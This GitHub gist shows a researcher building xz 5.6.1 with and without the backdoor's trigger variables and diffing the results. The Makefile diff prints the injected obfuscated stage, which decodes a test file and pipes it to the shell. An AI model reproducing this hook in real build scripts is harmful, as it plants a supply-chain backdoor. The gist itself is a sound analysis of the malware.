Skip to content

Instantly share code, notes, and snippets.

@oogali
Created March 31, 2024 06:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oogali/6d58db65f119edb37740869b9a1aada6 to your computer and use it in GitHub Desktop.
Save oogali/6d58db65f119edb37740869b9a1aada6 to your computer and use it in GitHub Desktop.
xz 5.6.1 builds with and without trigger envs
oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz
...
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export CC=gcc
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export RPM_ARCH=x86_64
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure
...
real 0m6.587s
user 0m5.081s
sys 0m1.890s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4
...
real 0m7.686s
user 0m20.820s
sys 0m4.094s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd ..
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-with-backdoor
oogali@lab-bullseye:~/playground/xz-backdoor$
oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $CC
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $RPM_ARCH
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure
...
real 0m6.675s
user 0m5.164s
sys 0m1.882s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4
...
real 0m6.829s
user 0m19.909s
sys 0m4.078s
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd ..
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-without-backdoor
oogali@lab-bullseye:~/playground/xz-backdoor$
oogali@lab-bullseye:~/playground/xz-backdoor$ diff -r -U1 xz-5.6.1-without-backdoor/ xz-5.6.1-with-backdoor/
diff -r -U1 xz-5.6.1-without-backdoor/config.log xz-5.6.1-with-backdoor/config.log
--- xz-5.6.1-without-backdoor/config.log 2024-03-31 02:19:52.523820265 -0400
+++ xz-5.6.1-with-backdoor/config.log 2024-03-31 02:22:25.401945188 -0400
@@ -118,3 +118,2 @@
configure:5713: checking for gcc
-configure:5734: found /usr/bin/gcc
configure:5746: result: gcc
@@ -3677,3 +3676,3 @@
configure:22451: gcc -o conftest -g -O2 conftest.c -lpthread >&5
-/usr/bin/ld: /tmp/cc8msmnZ.o: in function `main':
+/usr/bin/ld: /tmp/ccl49Ckk.o: in function `main':
/home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `cap_rights_limit'
@@ -3829,3 +3828,3 @@
configure:22470: gcc -o conftest -g -O2 conftest.c -lpthread >&5
-/usr/bin/ld: /tmp/ccCPu4z2.o: in function `main':
+/usr/bin/ld: /tmp/ccl5oGso.o: in function `main':
/home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `pledge'
@@ -6236,4 +6235,4 @@
ac_cv_env_CCAS_value=
-ac_cv_env_CC_set=
-ac_cv_env_CC_value=
+ac_cv_env_CC_set=set
+ac_cv_env_CC_value=gcc
ac_cv_env_CFLAGS_set=
diff -r -U1 xz-5.6.1-without-backdoor/config.status xz-5.6.1-with-backdoor/config.status
--- xz-5.6.1-without-backdoor/config.status 2024-03-31 02:19:51.647808112 -0400
+++ xz-5.6.1-with-backdoor/config.status 2024-03-31 02:22:24.513932825 -0400
@@ -426,3 +426,3 @@
-ac_cs_config=''
+ac_cs_config='CC=gcc'
ac_cs_version="\
@@ -518,3 +518,3 @@
if $ac_cs_recheck; then
- set X /bin/bash './configure' $ac_configure_extra_args --no-create --no-recursion
+ set X /bin/bash './configure' 'CC=gcc' $ac_configure_extra_args --no-create --no-recursion
shift
diff -r -U1 xz-5.6.1-without-backdoor/libtool xz-5.6.1-with-backdoor/libtool
--- xz-5.6.1-without-backdoor/libtool 2024-03-31 02:19:52.415818768 -0400
+++ xz-5.6.1-with-backdoor/libtool 2024-03-31 02:22:25.345944408 -0400
@@ -334,3 +334,3 @@
# Additional compiler flags for building library objects.
-pic_flag=" -fPIC -DPIC"
+pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-alone_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-alone_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-alone_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-alone_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-arm64.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-arm64.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-arm.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-arm.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-armthumb.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-armthumb.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-auto_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-auto_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_header_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_header_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_header_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_header_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_util.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_util.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-check.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-check.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-common.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc32_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc32_fast.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc32_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc32_table.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc64_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc64_fast.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc64_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc64_table.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_common.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_buffer_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_decoder_memusage.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_decoder_memusage.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder_memusage.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder_memusage.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_preset.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_preset.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-fastpos_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-fastpos_table.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-file_info.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-file_info.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_common.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-hardware_cputhreads.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-hardware_cputhreads.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-hardware_physmem.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-hardware_physmem.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-ia64.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-ia64.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_hash.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_hash.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder_mf.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder_mf.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzip_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzip_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma2_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma2_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma2_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma2_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_fast.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_normal.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_normal.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_presets.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_presets.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-microlzma_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-microlzma_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-microlzma_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-microlzma_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-outqueue.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-outqueue.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-powerpc.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-powerpc.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-price_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-price_table.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-riscv.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-riscv.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-sha256.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-sha256.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_coder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_coder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-sparc.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-sparc.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder_mt.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder_mt.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder_mt.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder_mt.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_common.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-string_conversion.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-string_conversion.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-tuklib_cpucores.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-tuklib_cpucores.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-tuklib_physmem.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-tuklib_physmem.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_decoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_encoder.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_size.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_size.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-x86.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-x86.o differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5 differ
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 differ
diff -r -U1 xz-5.6.1-without-backdoor/src/liblzma/Makefile xz-5.6.1-with-backdoor/src/liblzma/Makefile
--- xz-5.6.1-without-backdoor/src/liblzma/Makefile 2024-03-31 02:19:51.827810609 -0400
+++ xz-5.6.1-with-backdoor/src/liblzma/Makefile 2024-03-31 02:22:25.349944464 -0400
@@ -264,2 +264,3 @@
subdir = src/liblzma
+am__test = bad-3-corrupt_lzma2.xz
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
@@ -289,2 +290,3 @@
CONFIG_CLEAN_VPATH_FILES =
+am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
@@ -295,2 +297,3 @@
am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
+am__strip_prefix = tr " \-_" " _\-"
am__install_max = 40
@@ -310,2 +313,3 @@
sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
+am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
am__uninstall_files_from_dir = { \
@@ -318,2 +322,18 @@
"$(DESTDIR)$(pkgconfigdir)"
+LTDEPS='$(lib_LTDEPS)'; \
+ export top_srcdir='$(top_srcdir)'; \
+ export CC='$(CC)'; \
+ export DEFS='$(DEFS)'; \
+ export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \
+ export INCLUDES='$(INCLUDES)'; \
+ export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \
+ export CPPFLAGS='$(CPPFLAGS)'; \
+ export AM_CFLAGS='$(AM_CFLAGS)'; \
+ export CFLAGS='$(CFLAGS)'; \
+ export AM_V_CCLD='$(am__v_CCLD_$(V))'; \
+ export liblzma_la_LINK='$(liblzma_la_LINK)'; \
+ export libdir='$(libdir)'; \
+ export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \
+ export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \
+sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
LTLIBRARIES = $(lib_LTLIBRARIES)
@@ -610,3 +630,3 @@
$(AM_LDFLAGS) $(LDFLAGS) -o $@
-AM_V_CCLD = $(am__v_CCLD_$(V))
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY))
@@ -894,2 +914,3 @@
pc_verbose_0 = @echo " PC " $@;
+liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X,-z,now
all: all-recursive
oogali@lab-bullseye:~/playground/xz-backdoor$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment